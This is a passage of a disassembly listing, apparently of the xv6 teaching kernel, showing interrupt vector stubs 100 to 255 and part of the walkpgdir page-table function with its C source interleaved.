80105f55: e9 d3 f7 ff ff jmp 8010572d <alltraps>
80105f5a <vector100>:
80105f5a: 6a 00 push $0x0
80105f5c: 6a 64 push $0x64
80105f5e: e9 ca f7 ff ff jmp 8010572d <alltraps>
80105f63 <vector101>:
80105f63: 6a 00 push $0x0
80105f65: 6a 65 push $0x65
80105f67: e9 c1 f7 ff ff jmp 8010572d <alltraps>
80105f6c <vector102>:
80105f6c: 6a 00 push $0x0
80105f6e: 6a 66 push $0x66
80105f70: e9 b8 f7 ff ff jmp 8010572d <alltraps>
80105f75 <vector103>:
80105f75: 6a 00 push $0x0
80105f77: 6a 67 push $0x67
80105f79: e9 af f7 ff ff jmp 8010572d <alltraps>
80105f7e <vector104>:
80105f7e: 6a 00 push $0x0
80105f80: 6a 68 push $0x68
80105f82: e9 a6 f7 ff ff jmp 8010572d <alltraps>
80105f87 <vector105>:
80105f87: 6a 00 push $0x0
80105f89: 6a 69 push $0x69
80105f8b: e9 9d f7 ff ff jmp 8010572d <alltraps>
80105f90 <vector106>:
80105f90: 6a 00 push $0x0
80105f92: 6a 6a push $0x6a
80105f94: e9 94 f7 ff ff jmp 8010572d <alltraps>
80105f99 <vector107>:
80105f99: 6a 00 push $0x0
80105f9b: 6a 6b push $0x6b
80105f9d: e9 8b f7 ff ff jmp 8010572d <alltraps>
80105fa2 <vector108>:
80105fa2: 6a 00 push $0x0
80105fa4: 6a 6c push $0x6c
80105fa6: e9 82 f7 ff ff jmp 8010572d <alltraps>
80105fab <vector109>:
80105fab: 6a 00 push $0x0
80105fad: 6a 6d push $0x6d
80105faf: e9 79 f7 ff ff jmp 8010572d <alltraps>
80105fb4 <vector110>:
80105fb4: 6a 00 push $0x0
80105fb6: 6a 6e push $0x6e
80105fb8: e9 70 f7 ff ff jmp 8010572d <alltraps>
80105fbd <vector111>:
80105fbd: 6a 00 push $0x0
80105fbf: 6a 6f push $0x6f
80105fc1: e9 67 f7 ff ff jmp 8010572d <alltraps>
80105fc6 <vector112>:
80105fc6: 6a 00 push $0x0
80105fc8: 6a 70 push $0x70
80105fca: e9 5e f7 ff ff jmp 8010572d <alltraps>
80105fcf <vector113>:
80105fcf: 6a 00 push $0x0
80105fd1: 6a 71 push $0x71
80105fd3: e9 55 f7 ff ff jmp 8010572d <alltraps>
80105fd8 <vector114>:
80105fd8: 6a 00 push $0x0
80105fda: 6a 72 push $0x72
80105fdc: e9 4c f7 ff ff jmp 8010572d <alltraps>
80105fe1 <vector115>:
80105fe1: 6a 00 push $0x0
80105fe3: 6a 73 push $0x73
80105fe5: e9 43 f7 ff ff jmp 8010572d <alltraps>
80105fea <vector116>:
80105fea: 6a 00 push $0x0
80105fec: 6a 74 push $0x74
80105fee: e9 3a f7 ff ff jmp 8010572d <alltraps>
80105ff3 <vector117>:
80105ff3: 6a 00 push $0x0
80105ff5: 6a 75 push $0x75
80105ff7: e9 31 f7 ff ff jmp 8010572d <alltraps>
80105ffc <vector118>:
80105ffc: 6a 00 push $0x0
80105ffe: 6a 76 push $0x76
80106000: e9 28 f7 ff ff jmp 8010572d <alltraps>
80106005 <vector119>:
80106005: 6a 00 push $0x0
80106007: 6a 77 push $0x77
80106009: e9 1f f7 ff ff jmp 8010572d <alltraps>
8010600e <vector120>:
8010600e: 6a 00 push $0x0
80106010: 6a 78 push $0x78
80106012: e9 16 f7 ff ff jmp 8010572d <alltraps>
80106017 <vector121>:
80106017: 6a 00 push $0x0
80106019: 6a 79 push $0x79
8010601b: e9 0d f7 ff ff jmp 8010572d <alltraps>
80106020 <vector122>:
80106020: 6a 00 push $0x0
80106022: 6a 7a push $0x7a
80106024: e9 04 f7 ff ff jmp 8010572d <alltraps>
80106029 <vector123>:
80106029: 6a 00 push $0x0
8010602b: 6a 7b push $0x7b
8010602d: e9 fb f6 ff ff jmp 8010572d <alltraps>
80106032 <vector124>:
80106032: 6a 00 push $0x0
80106034: 6a 7c push $0x7c
80106036: e9 f2 f6 ff ff jmp 8010572d <alltraps>
8010603b <vector125>:
8010603b: 6a 00 push $0x0
8010603d: 6a 7d push $0x7d
8010603f: e9 e9 f6 ff ff jmp 8010572d <alltraps>
80106044 <vector126>:
80106044: 6a 00 push $0x0
80106046: 6a 7e push $0x7e
80106048: e9 e0 f6 ff ff jmp 8010572d <alltraps>
8010604d <vector127>:
8010604d: 6a 00 push $0x0
8010604f: 6a 7f push $0x7f
80106051: e9 d7 f6 ff ff jmp 8010572d <alltraps>
80106056 <vector128>:
80106056: 6a 00 push $0x0
80106058: 68 80 00 00 00 push $0x80
8010605d: e9 cb f6 ff ff jmp 8010572d <alltraps>
80106062 <vector129>:
80106062: 6a 00 push $0x0
80106064: 68 81 00 00 00 push $0x81
80106069: e9 bf f6 ff ff jmp 8010572d <alltraps>
8010606e <vector130>:
8010606e: 6a 00 push $0x0
80106070: 68 82 00 00 00 push $0x82
80106075: e9 b3 f6 ff ff jmp 8010572d <alltraps>
8010607a <vector131>:
8010607a: 6a 00 push $0x0
8010607c: 68 83 00 00 00 push $0x83
80106081: e9 a7 f6 ff ff jmp 8010572d <alltraps>
80106086 <vector132>:
80106086: 6a 00 push $0x0
80106088: 68 84 00 00 00 push $0x84
8010608d: e9 9b f6 ff ff jmp 8010572d <alltraps>
80106092 <vector133>:
80106092: 6a 00 push $0x0
80106094: 68 85 00 00 00 push $0x85
80106099: e9 8f f6 ff ff jmp 8010572d <alltraps>
8010609e <vector134>:
8010609e: 6a 00 push $0x0
801060a0: 68 86 00 00 00 push $0x86
801060a5: e9 83 f6 ff ff jmp 8010572d <alltraps>
801060aa <vector135>:
801060aa: 6a 00 push $0x0
801060ac: 68 87 00 00 00 push $0x87
801060b1: e9 77 f6 ff ff jmp 8010572d <alltraps>
801060b6 <vector136>:
801060b6: 6a 00 push $0x0
801060b8: 68 88 00 00 00 push $0x88
801060bd: e9 6b f6 ff ff jmp 8010572d <alltraps>
801060c2 <vector137>:
801060c2: 6a 00 push $0x0
801060c4: 68 89 00 00 00 push $0x89
801060c9: e9 5f f6 ff ff jmp 8010572d <alltraps>
801060ce <vector138>:
801060ce: 6a 00 push $0x0
801060d0: 68 8a 00 00 00 push $0x8a
801060d5: e9 53 f6 ff ff jmp 8010572d <alltraps>
801060da <vector139>:
801060da: 6a 00 push $0x0
801060dc: 68 8b 00 00 00 push $0x8b
801060e1: e9 47 f6 ff ff jmp 8010572d <alltraps>
801060e6 <vector140>:
801060e6: 6a 00 push $0x0
801060e8: 68 8c 00 00 00 push $0x8c
801060ed: e9 3b f6 ff ff jmp 8010572d <alltraps>
801060f2 <vector141>:
801060f2: 6a 00 push $0x0
801060f4: 68 8d 00 00 00 push $0x8d
801060f9: e9 2f f6 ff ff jmp 8010572d <alltraps>
801060fe <vector142>:
801060fe: 6a 00 push $0x0
80106100: 68 8e 00 00 00 push $0x8e
80106105: e9 23 f6 ff ff jmp 8010572d <alltraps>
8010610a <vector143>:
8010610a: 6a 00 push $0x0
8010610c: 68 8f 00 00 00 push $0x8f
80106111: e9 17 f6 ff ff jmp 8010572d <alltraps>
80106116 <vector144>:
80106116: 6a 00 push $0x0
80106118: 68 90 00 00 00 push $0x90
8010611d: e9 0b f6 ff ff jmp 8010572d <alltraps>
80106122 <vector145>:
80106122: 6a 00 push $0x0
80106124: 68 91 00 00 00 push $0x91
80106129: e9 ff f5 ff ff jmp 8010572d <alltraps>
8010612e <vector146>:
8010612e: 6a 00 push $0x0
80106130: 68 92 00 00 00 push $0x92
80106135: e9 f3 f5 ff ff jmp 8010572d <alltraps>
8010613a <vector147>:
8010613a: 6a 00 push $0x0
8010613c: 68 93 00 00 00 push $0x93
80106141: e9 e7 f5 ff ff jmp 8010572d <alltraps>
80106146 <vector148>:
80106146: 6a 00 push $0x0
80106148: 68 94 00 00 00 push $0x94
8010614d: e9 db f5 ff ff jmp 8010572d <alltraps>
80106152 <vector149>:
80106152: 6a 00 push $0x0
80106154: 68 95 00 00 00 push $0x95
80106159: e9 cf f5 ff ff jmp 8010572d <alltraps>
8010615e <vector150>:
8010615e: 6a 00 push $0x0
80106160: 68 96 00 00 00 push $0x96
80106165: e9 c3 f5 ff ff jmp 8010572d <alltraps>
8010616a <vector151>:
8010616a: 6a 00 push $0x0
8010616c: 68 97 00 00 00 push $0x97
80106171: e9 b7 f5 ff ff jmp 8010572d <alltraps>
80106176 <vector152>:
80106176: 6a 00 push $0x0
80106178: 68 98 00 00 00 push $0x98
8010617d: e9 ab f5 ff ff jmp 8010572d <alltraps>
80106182 <vector153>:
80106182: 6a 00 push $0x0
80106184: 68 99 00 00 00 push $0x99
80106189: e9 9f f5 ff ff jmp 8010572d <alltraps>
8010618e <vector154>:
8010618e: 6a 00 push $0x0
80106190: 68 9a 00 00 00 push $0x9a
80106195: e9 93 f5 ff ff jmp 8010572d <alltraps>
8010619a <vector155>:
8010619a: 6a 00 push $0x0
8010619c: 68 9b 00 00 00 push $0x9b
801061a1: e9 87 f5 ff ff jmp 8010572d <alltraps>
801061a6 <vector156>:
801061a6: 6a 00 push $0x0
801061a8: 68 9c 00 00 00 push $0x9c
801061ad: e9 7b f5 ff ff jmp 8010572d <alltraps>
801061b2 <vector157>:
801061b2: 6a 00 push $0x0
801061b4: 68 9d 00 00 00 push $0x9d
801061b9: e9 6f f5 ff ff jmp 8010572d <alltraps>
801061be <vector158>:
801061be: 6a 00 push $0x0
801061c0: 68 9e 00 00 00 push $0x9e
801061c5: e9 63 f5 ff ff jmp 8010572d <alltraps>
801061ca <vector159>:
801061ca: 6a 00 push $0x0
801061cc: 68 9f 00 00 00 push $0x9f
801061d1: e9 57 f5 ff ff jmp 8010572d <alltraps>
801061d6 <vector160>:
801061d6: 6a 00 push $0x0
801061d8: 68 a0 00 00 00 push $0xa0
801061dd: e9 4b f5 ff ff jmp 8010572d <alltraps>
801061e2 <vector161>:
801061e2: 6a 00 push $0x0
801061e4: 68 a1 00 00 00 push $0xa1
801061e9: e9 3f f5 ff ff jmp 8010572d <alltraps>
801061ee <vector162>:
801061ee: 6a 00 push $0x0
801061f0: 68 a2 00 00 00 push $0xa2
801061f5: e9 33 f5 ff ff jmp 8010572d <alltraps>
801061fa <vector163>:
801061fa: 6a 00 push $0x0
801061fc: 68 a3 00 00 00 push $0xa3
80106201: e9 27 f5 ff ff jmp 8010572d <alltraps>
80106206 <vector164>:
80106206: 6a 00 push $0x0
80106208: 68 a4 00 00 00 push $0xa4
8010620d: e9 1b f5 ff ff jmp 8010572d <alltraps>
80106212 <vector165>:
80106212: 6a 00 push $0x0
80106214: 68 a5 00 00 00 push $0xa5
80106219: e9 0f f5 ff ff jmp 8010572d <alltraps>
8010621e <vector166>:
8010621e: 6a 00 push $0x0
80106220: 68 a6 00 00 00 push $0xa6
80106225: e9 03 f5 ff ff jmp 8010572d <alltraps>
8010622a <vector167>:
8010622a: 6a 00 push $0x0
8010622c: 68 a7 00 00 00 push $0xa7
80106231: e9 f7 f4 ff ff jmp 8010572d <alltraps>
80106236 <vector168>:
80106236: 6a 00 push $0x0
80106238: 68 a8 00 00 00 push $0xa8
8010623d: e9 eb f4 ff ff jmp 8010572d <alltraps>
80106242 <vector169>:
80106242: 6a 00 push $0x0
80106244: 68 a9 00 00 00 push $0xa9
80106249: e9 df f4 ff ff jmp 8010572d <alltraps>
8010624e <vector170>:
8010624e: 6a 00 push $0x0
80106250: 68 aa 00 00 00 push $0xaa
80106255: e9 d3 f4 ff ff jmp 8010572d <alltraps>
8010625a <vector171>:
8010625a: 6a 00 push $0x0
8010625c: 68 ab 00 00 00 push $0xab
80106261: e9 c7 f4 ff ff jmp 8010572d <alltraps>
80106266 <vector172>:
80106266: 6a 00 push $0x0
80106268: 68 ac 00 00 00 push $0xac
8010626d: e9 bb f4 ff ff jmp 8010572d <alltraps>
80106272 <vector173>:
80106272: 6a 00 push $0x0
80106274: 68 ad 00 00 00 push $0xad
80106279: e9 af f4 ff ff jmp 8010572d <alltraps>
8010627e <vector174>:
8010627e: 6a 00 push $0x0
80106280: 68 ae 00 00 00 push $0xae
80106285: e9 a3 f4 ff ff jmp 8010572d <alltraps>
8010628a <vector175>:
8010628a: 6a 00 push $0x0
8010628c: 68 af 00 00 00 push $0xaf
80106291: e9 97 f4 ff ff jmp 8010572d <alltraps>
80106296 <vector176>:
80106296: 6a 00 push $0x0
80106298: 68 b0 00 00 00 push $0xb0
8010629d: e9 8b f4 ff ff jmp 8010572d <alltraps>
801062a2 <vector177>:
801062a2: 6a 00 push $0x0
801062a4: 68 b1 00 00 00 push $0xb1
801062a9: e9 7f f4 ff ff jmp 8010572d <alltraps>
801062ae <vector178>:
801062ae: 6a 00 push $0x0
801062b0: 68 b2 00 00 00 push $0xb2
801062b5: e9 73 f4 ff ff jmp 8010572d <alltraps>
801062ba <vector179>:
801062ba: 6a 00 push $0x0
801062bc: 68 b3 00 00 00 push $0xb3
801062c1: e9 67 f4 ff ff jmp 8010572d <alltraps>
801062c6 <vector180>:
801062c6: 6a 00 push $0x0
801062c8: 68 b4 00 00 00 push $0xb4
801062cd: e9 5b f4 ff ff jmp 8010572d <alltraps>
801062d2 <vector181>:
801062d2: 6a 00 push $0x0
801062d4: 68 b5 00 00 00 push $0xb5
801062d9: e9 4f f4 ff ff jmp 8010572d <alltraps>
801062de <vector182>:
801062de: 6a 00 push $0x0
801062e0: 68 b6 00 00 00 push $0xb6
801062e5: e9 43 f4 ff ff jmp 8010572d <alltraps>
801062ea <vector183>:
801062ea: 6a 00 push $0x0
801062ec: 68 b7 00 00 00 push $0xb7
801062f1: e9 37 f4 ff ff jmp 8010572d <alltraps>
801062f6 <vector184>:
801062f6: 6a 00 push $0x0
801062f8: 68 b8 00 00 00 push $0xb8
801062fd: e9 2b f4 ff ff jmp 8010572d <alltraps>
80106302 <vector185>:
80106302: 6a 00 push $0x0
80106304: 68 b9 00 00 00 push $0xb9
80106309: e9 1f f4 ff ff jmp 8010572d <alltraps>
8010630e <vector186>:
8010630e: 6a 00 push $0x0
80106310: 68 ba 00 00 00 push $0xba
80106315: e9 13 f4 ff ff jmp 8010572d <alltraps>
8010631a <vector187>:
8010631a: 6a 00 push $0x0
8010631c: 68 bb 00 00 00 push $0xbb
80106321: e9 07 f4 ff ff jmp 8010572d <alltraps>
80106326 <vector188>:
80106326: 6a 00 push $0x0
80106328: 68 bc 00 00 00 push $0xbc
8010632d: e9 fb f3 ff ff jmp 8010572d <alltraps>
80106332 <vector189>:
80106332: 6a 00 push $0x0
80106334: 68 bd 00 00 00 push $0xbd
80106339: e9 ef f3 ff ff jmp 8010572d <alltraps>
8010633e <vector190>:
8010633e: 6a 00 push $0x0
80106340: 68 be 00 00 00 push $0xbe
80106345: e9 e3 f3 ff ff jmp 8010572d <alltraps>
8010634a <vector191>:
8010634a: 6a 00 push $0x0
8010634c: 68 bf 00 00 00 push $0xbf
80106351: e9 d7 f3 ff ff jmp 8010572d <alltraps>
80106356 <vector192>:
80106356: 6a 00 push $0x0
80106358: 68 c0 00 00 00 push $0xc0
8010635d: e9 cb f3 ff ff jmp 8010572d <alltraps>
80106362 <vector193>:
80106362: 6a 00 push $0x0
80106364: 68 c1 00 00 00 push $0xc1
80106369: e9 bf f3 ff ff jmp 8010572d <alltraps>
8010636e <vector194>:
8010636e: 6a 00 push $0x0
80106370: 68 c2 00 00 00 push $0xc2
80106375: e9 b3 f3 ff ff jmp 8010572d <alltraps>
8010637a <vector195>:
8010637a: 6a 00 push $0x0
8010637c: 68 c3 00 00 00 push $0xc3
80106381: e9 a7 f3 ff ff jmp 8010572d <alltraps>
80106386 <vector196>:
80106386: 6a 00 push $0x0
80106388: 68 c4 00 00 00 push $0xc4
8010638d: e9 9b f3 ff ff jmp 8010572d <alltraps>
80106392 <vector197>:
80106392: 6a 00 push $0x0
80106394: 68 c5 00 00 00 push $0xc5
80106399: e9 8f f3 ff ff jmp 8010572d <alltraps>
8010639e <vector198>:
8010639e: 6a 00 push $0x0
801063a0: 68 c6 00 00 00 push $0xc6
801063a5: e9 83 f3 ff ff jmp 8010572d <alltraps>
801063aa <vector199>:
801063aa: 6a 00 push $0x0
801063ac: 68 c7 00 00 00 push $0xc7
801063b1: e9 77 f3 ff ff jmp 8010572d <alltraps>
801063b6 <vector200>:
801063b6: 6a 00 push $0x0
801063b8: 68 c8 00 00 00 push $0xc8
801063bd: e9 6b f3 ff ff jmp 8010572d <alltraps>
801063c2 <vector201>:
801063c2: 6a 00 push $0x0
801063c4: 68 c9 00 00 00 push $0xc9
801063c9: e9 5f f3 ff ff jmp 8010572d <alltraps>
801063ce <vector202>:
801063ce: 6a 00 push $0x0
801063d0: 68 ca 00 00 00 push $0xca
801063d5: e9 53 f3 ff ff jmp 8010572d <alltraps>
801063da <vector203>:
801063da: 6a 00 push $0x0
801063dc: 68 cb 00 00 00 push $0xcb
801063e1: e9 47 f3 ff ff jmp 8010572d <alltraps>
801063e6 <vector204>:
801063e6: 6a 00 push $0x0
801063e8: 68 cc 00 00 00 push $0xcc
801063ed: e9 3b f3 ff ff jmp 8010572d <alltraps>
801063f2 <vector205>:
801063f2: 6a 00 push $0x0
801063f4: 68 cd 00 00 00 push $0xcd
801063f9: e9 2f f3 ff ff jmp 8010572d <alltraps>
801063fe <vector206>:
801063fe: 6a 00 push $0x0
80106400: 68 ce 00 00 00 push $0xce
80106405: e9 23 f3 ff ff jmp 8010572d <alltraps>
8010640a <vector207>:
8010640a: 6a 00 push $0x0
8010640c: 68 cf 00 00 00 push $0xcf
80106411: e9 17 f3 ff ff jmp 8010572d <alltraps>
80106416 <vector208>:
80106416: 6a 00 push $0x0
80106418: 68 d0 00 00 00 push $0xd0
8010641d: e9 0b f3 ff ff jmp 8010572d <alltraps>
80106422 <vector209>:
80106422: 6a 00 push $0x0
80106424: 68 d1 00 00 00 push $0xd1
80106429: e9 ff f2 ff ff jmp 8010572d <alltraps>
8010642e <vector210>:
8010642e: 6a 00 push $0x0
80106430: 68 d2 00 00 00 push $0xd2
80106435: e9 f3 f2 ff ff jmp 8010572d <alltraps>
8010643a <vector211>:
8010643a: 6a 00 push $0x0
8010643c: 68 d3 00 00 00 push $0xd3
80106441: e9 e7 f2 ff ff jmp 8010572d <alltraps>
80106446 <vector212>:
80106446: 6a 00 push $0x0
80106448: 68 d4 00 00 00 push $0xd4
8010644d: e9 db f2 ff ff jmp 8010572d <alltraps>
80106452 <vector213>:
80106452: 6a 00 push $0x0
80106454: 68 d5 00 00 00 push $0xd5
80106459: e9 cf f2 ff ff jmp 8010572d <alltraps>
8010645e <vector214>:
8010645e: 6a 00 push $0x0
80106460: 68 d6 00 00 00 push $0xd6
80106465: e9 c3 f2 ff ff jmp 8010572d <alltraps>
8010646a <vector215>:
8010646a: 6a 00 push $0x0
8010646c: 68 d7 00 00 00 push $0xd7
80106471: e9 b7 f2 ff ff jmp 8010572d <alltraps>
80106476 <vector216>:
80106476: 6a 00 push $0x0
80106478: 68 d8 00 00 00 push $0xd8
8010647d: e9 ab f2 ff ff jmp 8010572d <alltraps>
80106482 <vector217>:
80106482: 6a 00 push $0x0
80106484: 68 d9 00 00 00 push $0xd9
80106489: e9 9f f2 ff ff jmp 8010572d <alltraps>
8010648e <vector218>:
8010648e: 6a 00 push $0x0
80106490: 68 da 00 00 00 push $0xda
80106495: e9 93 f2 ff ff jmp 8010572d <alltraps>
8010649a <vector219>:
8010649a: 6a 00 push $0x0
8010649c: 68 db 00 00 00 push $0xdb
801064a1: e9 87 f2 ff ff jmp 8010572d <alltraps>
801064a6 <vector220>:
801064a6: 6a 00 push $0x0
801064a8: 68 dc 00 00 00 push $0xdc
801064ad: e9 7b f2 ff ff jmp 8010572d <alltraps>
801064b2 <vector221>:
801064b2: 6a 00 push $0x0
801064b4: 68 dd 00 00 00 push $0xdd
801064b9: e9 6f f2 ff ff jmp 8010572d <alltraps>
801064be <vector222>:
801064be: 6a 00 push $0x0
801064c0: 68 de 00 00 00 push $0xde
801064c5: e9 63 f2 ff ff jmp 8010572d <alltraps>
801064ca <vector223>:
801064ca: 6a 00 push $0x0
801064cc: 68 df 00 00 00 push $0xdf
801064d1: e9 57 f2 ff ff jmp 8010572d <alltraps>
801064d6 <vector224>:
801064d6: 6a 00 push $0x0
801064d8: 68 e0 00 00 00 push $0xe0
801064dd: e9 4b f2 ff ff jmp 8010572d <alltraps>
801064e2 <vector225>:
801064e2: 6a 00 push $0x0
801064e4: 68 e1 00 00 00 push $0xe1
801064e9: e9 3f f2 ff ff jmp 8010572d <alltraps>
801064ee <vector226>:
801064ee: 6a 00 push $0x0
801064f0: 68 e2 00 00 00 push $0xe2
801064f5: e9 33 f2 ff ff jmp 8010572d <alltraps>
801064fa <vector227>:
801064fa: 6a 00 push $0x0
801064fc: 68 e3 00 00 00 push $0xe3
80106501: e9 27 f2 ff ff jmp 8010572d <alltraps>
80106506 <vector228>:
80106506: 6a 00 push $0x0
80106508: 68 e4 00 00 00 push $0xe4
8010650d: e9 1b f2 ff ff jmp 8010572d <alltraps>
80106512 <vector229>:
80106512: 6a 00 push $0x0
80106514: 68 e5 00 00 00 push $0xe5
80106519: e9 0f f2 ff ff jmp 8010572d <alltraps>
8010651e <vector230>:
8010651e: 6a 00 push $0x0
80106520: 68 e6 00 00 00 push $0xe6
80106525: e9 03 f2 ff ff jmp 8010572d <alltraps>
8010652a <vector231>:
8010652a: 6a 00 push $0x0
8010652c: 68 e7 00 00 00 push $0xe7
80106531: e9 f7 f1 ff ff jmp 8010572d <alltraps>
80106536 <vector232>:
80106536: 6a 00 push $0x0
80106538: 68 e8 00 00 00 push $0xe8
8010653d: e9 eb f1 ff ff jmp 8010572d <alltraps>
80106542 <vector233>:
80106542: 6a 00 push $0x0
80106544: 68 e9 00 00 00 push $0xe9
80106549: e9 df f1 ff ff jmp 8010572d <alltraps>
8010654e <vector234>:
8010654e: 6a 00 push $0x0
80106550: 68 ea 00 00 00 push $0xea
80106555: e9 d3 f1 ff ff jmp 8010572d <alltraps>
8010655a <vector235>:
8010655a: 6a 00 push $0x0
8010655c: 68 eb 00 00 00 push $0xeb
80106561: e9 c7 f1 ff ff jmp 8010572d <alltraps>
80106566 <vector236>:
80106566: 6a 00 push $0x0
80106568: 68 ec 00 00 00 push $0xec
8010656d: e9 bb f1 ff ff jmp 8010572d <alltraps>
80106572 <vector237>:
80106572: 6a 00 push $0x0
80106574: 68 ed 00 00 00 push $0xed
80106579: e9 af f1 ff ff jmp 8010572d <alltraps>
8010657e <vector238>:
8010657e: 6a 00 push $0x0
80106580: 68 ee 00 00 00 push $0xee
80106585: e9 a3 f1 ff ff jmp 8010572d <alltraps>
8010658a <vector239>:
8010658a: 6a 00 push $0x0
8010658c: 68 ef 00 00 00 push $0xef
80106591: e9 97 f1 ff ff jmp 8010572d <alltraps>
80106596 <vector240>:
80106596: 6a 00 push $0x0
80106598: 68 f0 00 00 00 push $0xf0
8010659d: e9 8b f1 ff ff jmp 8010572d <alltraps>
801065a2 <vector241>:
801065a2: 6a 00 push $0x0
801065a4: 68 f1 00 00 00 push $0xf1
801065a9: e9 7f f1 ff ff jmp 8010572d <alltraps>
801065ae <vector242>:
801065ae: 6a 00 push $0x0
801065b0: 68 f2 00 00 00 push $0xf2
801065b5: e9 73 f1 ff ff jmp 8010572d <alltraps>
801065ba <vector243>:
801065ba: 6a 00 push $0x0
801065bc: 68 f3 00 00 00 push $0xf3
801065c1: e9 67 f1 ff ff jmp 8010572d <alltraps>
801065c6 <vector244>:
801065c6: 6a 00 push $0x0
801065c8: 68 f4 00 00 00 push $0xf4
801065cd: e9 5b f1 ff ff jmp 8010572d <alltraps>
801065d2 <vector245>:
801065d2: 6a 00 push $0x0
801065d4: 68 f5 00 00 00 push $0xf5
801065d9: e9 4f f1 ff ff jmp 8010572d <alltraps>
801065de <vector246>:
801065de: 6a 00 push $0x0
801065e0: 68 f6 00 00 00 push $0xf6
801065e5: e9 43 f1 ff ff jmp 8010572d <alltraps>
801065ea <vector247>:
801065ea: 6a 00 push $0x0
801065ec: 68 f7 00 00 00 push $0xf7
801065f1: e9 37 f1 ff ff jmp 8010572d <alltraps>
801065f6 <vector248>:
801065f6: 6a 00 push $0x0
801065f8: 68 f8 00 00 00 push $0xf8
801065fd: e9 2b f1 ff ff jmp 8010572d <alltraps>
80106602 <vector249>:
80106602: 6a 00 push $0x0
80106604: 68 f9 00 00 00 push $0xf9
80106609: e9 1f f1 ff ff jmp 8010572d <alltraps>
8010660e <vector250>:
8010660e: 6a 00 push $0x0
80106610: 68 fa 00 00 00 push $0xfa
80106615: e9 13 f1 ff ff jmp 8010572d <alltraps>
8010661a <vector251>:
8010661a: 6a 00 push $0x0
8010661c: 68 fb 00 00 00 push $0xfb
80106621: e9 07 f1 ff ff jmp 8010572d <alltraps>
80106626 <vector252>:
80106626: 6a 00 push $0x0
80106628: 68 fc 00 00 00 push $0xfc
8010662d: e9 fb f0 ff ff jmp 8010572d <alltraps>
80106632 <vector253>:
80106632: 6a 00 push $0x0
80106634: 68 fd 00 00 00 push $0xfd
80106639: e9 ef f0 ff ff jmp 8010572d <alltraps>
8010663e <vector254>:
8010663e: 6a 00 push $0x0
80106640: 68 fe 00 00 00 push $0xfe
80106645: e9 e3 f0 ff ff jmp 8010572d <alltraps>
8010664a <vector255>:
8010664a: 6a 00 push $0x0
8010664c: 68 ff 00 00 00 push $0xff
80106651: e9 d7 f0 ff ff jmp 8010572d <alltraps>
80106656: 66 90 xchg %ax,%ax
80106658: 66 90 xchg %ax,%ax
8010665a: 66 90 xchg %ax,%ax
8010665c: 66 90 xchg %ax,%ax
8010665e: 66 90 xchg %ax,%ax
80106660 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80106660: 55 push %ebp
80106661: 89 e5 mov %esp,%ebp
80106663: 57 push %edi
80106664: 56 push %esi
80106665: 89 d6 mov %edx,%esi
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80106667: c1 ea 16 shr $0x16,%edx
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
8010666a: 53 push %ebx
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
8010666b: 8d 3c 90 lea (%eax,%edx,4),%edi
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
8010666e: 83 ec 1c sub $0x1c,%esp
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
80106671: 8b 1f mov (%edi),%ebx
80106673: f6 c3 01 test $0x1,%bl
80106676: 74 28 je 801066a0 <walkpgdir+0x40>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
80106678: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
8010667e: 81 c3 00 00 00 80 add $0x80000000,%ebx
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
80106684: c1 ee 0a shr $0xa,%esi
}
80106687: 83 c4 1c add $0x1c,%esp
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
8010668a: 89 f2 mov %esi,%edx
8010668c: 81 e2 fc 0f 00 00 and $0xffc,%edx
80106692: 8d 04 13 lea (%ebx,%edx,1),%eax
}
80106695: 5b pop %ebx
80106696: 5e pop %esi
80106697: 5f pop %edi
80106698: 5d pop %ebp
80106699: c3 ret
8010669a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
801066a0: 85 c9 test %ecx,%ecx
801066a2: 74 34 je 801066d8 <walkpgdir+0x78>
801066a4: e8 f7 bd ff ff call 801024a0 <kalloc>
801066a9: 85 c0 test %eax,%eax
801066ab: 89 c3 mov %eax,%ebx
801066ad: 74 29 je 801066d8 <walkpgdir+0x78>
return 0;
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
801066af: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801066b6: 00
801066b7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801066be: 00
801066bf: 89 04 24 mov %eax,(%esp)
801066c2: e8 59 de ff ff call 80104520 <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
801066c7: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801066cd: 83 c8 07 or $0x7,%eax
801066d0: 89 07 mov %eax,(%edi)
801066d2: eb b0 jmp 80106684 <walkpgdir+0x24>
801066d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
return &pgtab[PTX(va)];
}
801066d8: 83 c4 1c add $0x1c,%esp
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
return 0;
801066db: 31 c0 xor %eax,%eax
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
}
801066dd: 5b pop %ebx
801066de: 5e pop %esi
801066df: 5f pop %edi
